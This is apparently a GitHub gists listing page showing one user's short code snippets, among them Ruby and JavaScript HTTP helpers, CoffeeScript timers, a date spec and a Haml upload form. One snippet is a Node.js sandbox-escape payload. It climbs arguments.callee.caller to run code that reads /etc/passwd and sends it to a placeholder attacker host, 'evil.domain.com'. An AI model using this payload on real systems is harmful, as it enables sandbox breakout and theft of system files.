This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
require 'net/http' | |
file_name = '/tmp/rolfstangen-webcam.jpg' | |
Net::HTTP.start("www.rolfstangen.no") do |http| | |
resp = http.get("/webcam/cam_1.jpg") | |
open(file_name, 'wb') do |file| | |
file.write(resp.body) | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var xhr = function (url, options) { | |
options = options || {}; | |
var req = new XMLHttpRequest(), | |
method = options.method || 'get', | |
dfd = new $.Deferred(); | |
req.open(method, url, true); | |
req.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$.fn.SimplePoll('/api/tiramisu/v1/tick') | |
.progress(function(line) { | |
var parts = line.split(";") | |
$('#bar').css('width', parts[0]+'%'); | |
$('#progress').html(parts[1]); | |
}) | |
.then(function() { | |
$('#progress').html("Ferdig nå."); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Promise = (function() { | |
var api_tuples = {notify: 'progress', resolve: 'then', reject: 'fail', done: 'always' }, // all (action, callback_adder)-tuples) | |
isFunction = function(obj) { | |
return Object.prototype.toString.call(obj) == '[object Function]'; | |
}, | |
slice = Array.prototype.slice, | |
each_pair = function(obj, callback) { | |
Object.keys(obj).forEach(function(key) { callback(key, obj[key]); }); | |
}, | |
invokeEach = function(funcs) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
after = (ms, func) -> | |
setTimeout func, ms | |
after 200, -> | |
console.log "200 milliseconds passed" | |
after 400, -> | |
console.log "400 milliseconds passed" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Cross browser xmlhttprequest function (based on http://www.quirksmode.org/js/xmlhttp.html) | |
xhrGet = do -> | |
XMLHttpFactories = [ | |
-> new XMLHttpRequest() | |
-> new ActiveXObject("Msxml2.XMLHTTP") | |
-> new ActiveXObject("Msxml3.XMLHTTP") | |
-> new ActiveXObject("Microsoft.XMLHTTP")] | |
createXHR = -> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var func = arguments.callee.caller.arguments.callee.caller.arguments.callee.caller.arguments.callee.arguments.callee.caller.arguments.callee.caller; | |
func.call(func, "var fs = process.mainModule.require('fs');var http = process.mainModule.require('http');var req = http.request({host: 'evil.domain.com'}); req.write(fs.readFileSync('/etc/passwd').toString());req.end();"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HumanDate.relative(DateTime.parse("August 23, 2012 00:00:00 UTC"), :today => DateTime.parse("2012-08-23")).should eq "i dag" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%form(id="uploadform" action="/images/upload" method="post") | |
File: | |
%input(type="file" name="file") | |
%button.upload(type="button") Upload | |
.image_container | |
.progress.active | |
.bar |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function ($) { | |
// Tha popup component | |
var Popup = (function () { | |
// Constrain the popup to be within this margin of the page | |
var margin = {top: 10, bottom: 30}; | |
// Get current viewport | |
function getViewport() { |
OlderNewer